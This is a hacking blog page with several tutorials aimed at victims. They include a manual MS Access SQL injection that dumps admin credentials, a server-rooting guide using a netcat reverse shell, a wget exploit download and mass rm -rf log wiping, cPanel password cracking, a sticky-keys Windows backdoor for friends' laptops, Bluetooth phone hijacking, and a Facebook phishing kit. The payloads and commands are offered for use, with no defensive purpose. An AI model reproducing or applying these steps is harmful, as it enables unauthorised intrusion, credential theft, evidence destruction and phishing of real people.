Latest Hacking methods, Hacking Sotware's,facebook / yahoo / gmail ID hack.......: hacking

    • ...

    Showing posts with label hacking. Show all posts
    Showing posts with label hacking. Show all posts

    Saturday, 11 January 2014

    How to unblock youtube and all other video sites in pakistan/ worldwide

    00:05 1
    How to unblock youtube and all other video sites in pakistan/ worldwide
    Hellow respectable visters, today i will tell you a method how to unblock any video web site blocked in pakistan or any country in world, no need of heavey virtual softwares, like hotspot shield,ultra surf etc... that mostly disturbe you so much by ads. i will share a video unblocked proxy web site that is amazing unblock all video web sites just enter the URL(website name) in it and it will automaticaly unblock videos paly the videos and enjoy as earlier from bane. so the link of that site is



    www.proxyvideo.net                

    it is world number 1 proxy web site for unblocking videos and play thier videos online.we also provide solutions of any problem related to IT free of cost.
    share this beautiful info with others and enjoy please share our site also with your friends. your anticipation and cooperation is every thing for us.
    please comment if you like this post(Admin cleaverhacker.blogspot.com) 
    Posted by at 1 comment:
    Labels:

    Tuesday, 24 December 2013

    MSAccess SQL Injection Tutorial / Microsoft JET Database Engine error '80004005'

    04:05 1
    MSAccess SQL Injection Tutorial / Microsoft JET Database Engine error '80004005'


    Hi readers! After along gap I'm going to share an interesting & useful tutorial with you all. I will be  demonstrating how to manually exploit MS Access websites vulnerable to sql Injection. So let's get started !


    Things Required !

    • - Vulnerable website

    Step By Step Guide   

    • Let's assume we found an vulnerable website xyz.com!.
       http://www.xyz.com/vuln.asp?code=266'










    • Now our first job will be to confirm that the error is valid! because every error doesn't means its vulnerable to sql injection. 

      http://www.xyz.com/vuln.asp?code=266 and 1=1#  -> This URL will load normally without any errors as 1 is always equal to 1 (simple mathematics).

      http://www.xyz.com/vuln.asp?code=266 and 1=2#  -> This URL will not Load normally as 1 is not   equal to 2.

    So now by observing the behaviour we can say that yes! the URL is a correct injection point. Let's now proceed with our next step.


    • After we have validated that its an valid injection point, now lets find out the drives available on the target system. 
    -  http://www.xyz.com/vuln.asp?code=266 and 0=(select count(*) from d:\.a)




     











    Now notice the output!. If the output is - "Could not find file 'd:\.mdb'." then this means Yes!! there is an drive d: & if the out is " 'l:\.mdb' is not a valid path" then this means there is no drive l: . So to find all the drive names we will keep on replacing "d" from the above query to a,b,c..& so on. 




    •  Our next step will be to find the number of columns. To find the number of columns we will use the following query - "order by x# "
    Here in the above query we have to change 'x' to 1,2,3,4,5,6,7,8,9, & so on till we get an error.

    - http://www.xyz.com/vuln.asp?code=266 order  by 6# - No Error (Loads Normally)
    - http://www.xyz.com/vuln.asp?code=266 order  by 7# - No Error (Loads Normally)
    - http://www.xyz.com/vuln.asp?code=266 order  by 8# - No Error (Loads Normally)
    - http://www.xyz.com/vuln.asp?code=266 order  by 9# - Error! (Throws an Error)






    So now as we have noticed till 8 the page loads normally & on 9 its throwing an error, this means the number of columns are 8 !.



    •  After we have found the number of columns our next work is to guess the  Table name!. Here is the most difficult part because guessing the Table name ain't easy!. Here you can take help of Google to find some of the standard Table names. Anyways here in my case the table name was admin (Lucky eeh!),

    Our next query will be  - "and 1=2 union all select 1,2,3,4,5,6,7,8 from admin#"
    - http://www.xyz.com/vuln.asp?code=266 and 1=2 union all select 1,2,3,4,5,6,7,8 from admin#









     Now by executing the above query it will throw out the vulnerable column number! As you can see in the above image the vulnerable columns are 2,4 & 3.



    •  Once we have got the vulnerable columns! now its time to guess the column names. As my table name is admin so guessing the column names is not a difficult task as normally the columns for admin are id, username, password, email etc.  

    so now we will be injecting the column name inside the vulnerable column number which we extracted in our previous step.

    http://www.xyz.com/vuln.asp?code=266 and 1=2 union all select 1,id,username,password,5,6,7,8 from admin#








    id - 1
    username - 1775urp2
    password - 8=Ogmlq"

    •  Finally you are done.. admin username & password extracted!. Happy Learning!
    Posted by at 1 comment:
    Labels:

    How to Root Server Tutorial

    03:52 0
    How to Root Server Tutorial
    Things Required :


    • NetcaT
    • Shelled site
    • Local root expl0it 
    Step By Step Tutorial :
    • First go to Run & type cmd then type : cd C:\Program Files\Netcat  ( Make sure that you Netcat is saved in the following directory ) .
    • Now Type : nc -n -l -v -p 443 , then it would show like the image shown below .
    • Its time to open your shell & then connect  using back connect function in your shell ( Make sure that you are not using any Vpn or Proxy ) . Then after the connection is established you will see something as shown in the screenshot below .
    • So you have successfully connected ..  Then now we have to get our Local Root Exploit, like mine is  2.6.18-374 2011 . 
    • In this step we have to upload our exploit in a writable folder, so instead of wasting our time in finding them ..we can just change the directory to the /tmp folder which is a standard writable folder . 
    Type this command to change dir to /tmp : cd /tmp
    • To upload your your exploit we will use wget function . 
    Type : wget http://www.somesite.com/exploit.c 
    Now this will upload the exploit in the tmp folder . 

    •  (Case 1) if you have uploaded your exploit as .c (exploit.c) the we have to compile it, so to compile it we will type the following command .
    Type : gcc exploit.c -o exploit
    Keep in mind in the above command exploit refers to the name of your exploit (exploit.c) .so if its properly compiled with no errors & warning then you can proceed or if you get an error then find another exploit. 
    (Case 2) If you have uploaded your exploit in a zip file then you have to unzip it by typing the below command .
    Type: unzip exploit.zip 

    • After we have done all the above steps correctly, its time to give permission so we will type the following  command 
    Type: chmod 777 exploit
    • Now  its time to run the Exploit, to run the exploit we will type the following command 
    Type: ./exploit

    Now the exploit will run & the server will be rooted  ;) .  To check weather we got root we can type 
    Type: id or whoami  
    Clearing Logs:

    Now its our time to clearing our tracks or Logs . so below are some commands to delete the log files .
    rm -rf /tmp/logs
    rm -rf $HISTFILE
    rm -rf /root/.ksh_history
    rm -rf /root/.bash_history
    rm -rf /root/.ksh_history
    rm -rf /root/.bash_logout
    rm -rf /usr/local/apache/logs
    rm -rf /usr/local/apache/log
    rm -rf /var/apache/logs
    rm -rf /var/apache/log
    rm -rf /var/run/utmp
    rm -rf /var/logs
    rm -rf /var/log
    rm -rf /var/adm
    rm -rf /etc/wtmp
    rm -rf /etc/utmp
    history -c
    find / -name *.bash_history -exec rm -rf {} \;
    find / -name *.bash_logout -exec rm -rf {} \;
    find / -name "log*" -exec rm -rf {} \;
    find / -name *.log -exec rm -rf {} \;



    Hope you all guys have enjoyed this Tutorial .. If you have any Doubts then just mention it Via comment !
    Posted by at No comments:
    Labels:

    Hack the Websites Using Android Mobile Phones

    03:46 0
    Hack the Websites Using Android Mobile Phones
    Hello everyone, today I will be teaching you how to hack a website using your android phones. Surprised and you might be thinking how's it possible to hack using your android mobile phone. Mostly 70% of the websites which are defaced by the hackers are done using the most common vulnerability i.e. SQL Injection.

    We will be using an application called DroidSQLi to hack SQL injection vulnerable websites with our phone. So all we need are 3 things.
    1.) DroidSQLi application installed on our android phone
    2.) SQLi vulnerable website
    3.) and obviously an android phone.

    Let's get started, first of all download DroidSQLi Tool. It is an first automated SQL Injection exploitation tool for mobile phones. It supports the following type of injections.

    Union Based Injection
    Blind Injectin
    Error Based Injection
    Time Based Injection

    All you need to do is enter the vulnerable website under Target URL and press on inject button. It will automatically select the best possible injection.
    Posted by at No comments:
    Labels:

    Cpanel Crack Tutorial step by step

    03:41 12
    Cpanel Crack Tutorial step by step
    Things Required :-


    • Shelled site
    • Cpanel Password Cracker (shell)
    Step By Step Tutorial :-
    • First open you shell & upload the cpanel password cracker shell . Download the Cpanel password cracker shell from Here .
    • Then go down & click on User .


























    • Now after you have clicked on User, below you will get all the usernames of the Cpanel . So now move to next step, your next step will be to get a good Password list for a Dictionary attack . After getting it you have to copy the username & paste it in the username block (above) & paste the password list in the password block .Then finally click on start .

    Tip: Password list should be short & effective .























    • After the cracking is finished, in the next page you will see the result . 
    • After Getting the login info you can login by going -> www.site.com:2082 . Here you will get the cpanel login area .
    Happy Cpanel Cracking Guys ! ;)
    Posted by at 12 comments:
    Labels:

    Hack the Windows 7 Logon Password Without any Software

    03:35 0
    Hack the Windows 7 Logon Password Without any Software
    Lets say that you have just cracked victim's windows password.  or you got access to his windows for some time.Can you make some changes in windows so that you could access the windows again even if victim changes the password ?? or Can you make any changes in your own windows so that you could access it anytime even if anybody sets/changes password ?
    Simply Can we set a backdoor in windows ?
    Yes we can :) .
    Backdoor actually means maintaining access for future use.
    Lets Start!!
    Open your command prompt (run as administrator in win 7/vista).


    Type the following command :
    Syntax : net user account.name *
    Example: net user administrator *
    and hit enter. Set any password for that account.



    Hopefully your new password must have been set. did you notice one thing ? It didn't ask you to confirm old password. Now suppose if anyhow we manage to access command prompt at logon screen (without logging in), we can easily change/clear password.  
    Okay lets move on.
    Now press shift key five times and you must have got a dialog box "sticky keys" on screen.




    Sticky keys is a feature that makes it easy for users who have physical  disablilities to press multiple keys at time.   This is the only feature which can be used before logging in at logon screen ( as per my knowledge). I repeat this feature can be used at  logon screen by pressing shift key five times.
    Whenevr we start an application like paint, we are actually running mspaint.exe placed inC:\windows\system32. or command prompt, we are running cmd.exe placed in system32 directory, similary
    When we press shift key 5 times or use sticky keys feature, system actually starts the executable file

    sethc.exe placed in system32 directory. This means if we rename cmd.exe to sethc.exe and press shift 5 times, system would again start sethc.exe but instead of sticky keys the command prompt will be opened.

    But you just cant simply rename it or change system32 files. Follow the tutorial for that.


     Tutorial :


    * Go to C:\windows\system32
    * Copy cmd.exe on your desktop and rename it to sethc.exe .
    *Now copy that file and paste again in system32 directory.



    @ Windows XP Users
    Hopefully existing orignal sethc.exe must have been replaced and your job is done. Now press shift five times and you would see command prompt on screen.You can access command prompt at windows logon screen and change/clear the password easily using "net user" command.



    Note: You can also do these changes while using windows Guest Account. But when you would access command prompt at logon screen, you can change/clear password even of administrator's account. This is exactly how , we can hack into administrator's account through guest account.



    @ Windows vista/7 Users
    You must have got a pop up box saying "Access Denied".








    Actually you can not change system32 directory files until you do not have the permissions. You can not have the permissions until you do not have the ownership. So lets take ownership, change permissions, just follow the steps.

    1. Right click on sethc.exe and run as administrator.  Again right click on sethc.exe, open properties.
    Click on Advanced tab , then on owner and click edit, change the owner from "trusted installer" to "administrator" and click apply.



    2. Then click on 'Edit' in security tab to edit permissions. Click on 'Administrators' , give it full control
    and apply changes.

    Okay its done now.

    Now try replacing the orignal sethc.exe with our sethc.exe (got by renaming cmd.exe).
    Press shift key five times and hopefully you would get command prompt on the screen instead of sticky keys.

    Enjoy Command prompt at logon screen...

    So do not forget to set this backdoor whenever you would get friend's  laptop for a few minutes...enjoy
    Posted by at No comments:
    Labels:

    Thursday, 20 June 2013

    How to Hack into a Mobile Phone

    12:53 2
    How to Hack into a Mobile Phone
    Hello Guys, in this post am going to show you How to Hack into a Mobile Phone, you can Hack your friends mobile or any other using a simple application BT Info.. 
    This Application works on every Mobile but if you are using Nokia, then it'll work Faster than other devices


    Follow some Easy steps to Install BT Info into your Mobile Phone: -

    1) Download BT Info from internet.
    2) Now just send this Application to your Mobile Phone.
    3) Install it into your Mobile and launch this app from your Games Folder
    4) Change the Language to any...
    5) Select the device and After Searching it takes some time to connect.
    6) Now do What Ever you want!!!

    BT Info with a latest Version enables you to Hack its: -

    1)  Information
     2)  Call
     3)  PhoneBook
     4)  Reading SMS
     5)  Clock
     6)  Alarms
     7)  Clock
     8)  Calendar
     9)  Change Language
    10) Shutting Down Mobile
    11) Silent Mode
    12) SE Application
    13) Keys
    14) Key Sound
    15) Pressed Keys
    Posted by at 2 comments:
    Labels:

    Sunday, 16 June 2013

    Learn To Hack Facebook Account With Phishing

    12:16 0
    Learn To Hack Facebook Account With Phishing
    Many people want to hack facebook account but they don't know the proper way. Today I will give a tutorial about facebook hacking with phishing. This is the simple tutorial by which you can hack your friend's facebook account.

    Facebook Hacking Tutorial:
    This is the most common way of hacking. By this you can send a fake login page to your fool friend and when your friend/victim want to sign in then his login details come to you..
    2. The downloaded file contains below:
       a. index.html
       b. write.php
    3. Upload both file in a free web hosting sites.
    4. Some best free hosting sites are:
    www.000webhost.com
    www.x10hosting.com
    www.viralhosts.com
    www.my3gb.com
    www.heliohost.org
    5. Your work almost over. Now send the phisher link (index.html link) to your victim and     make him login with his email and password. 
    6. If he login with his email and password then  his typed id and password is in passes.txt





    If you dont get passes.txt, try refreshing your page.Once you get passes.txt, you get Facebook password and can easily use it for hacking Facebook account.
    7. Now, open passes.txt to get hacked Facebook id and password as shown.


    Hope you can learn well. So you have problem to understand this tutorial then comment in this post. I will try my best to give you proper satisfaction.



    Download Facebook Phisher.

    Posted by at No comments:
    Labels: , , ,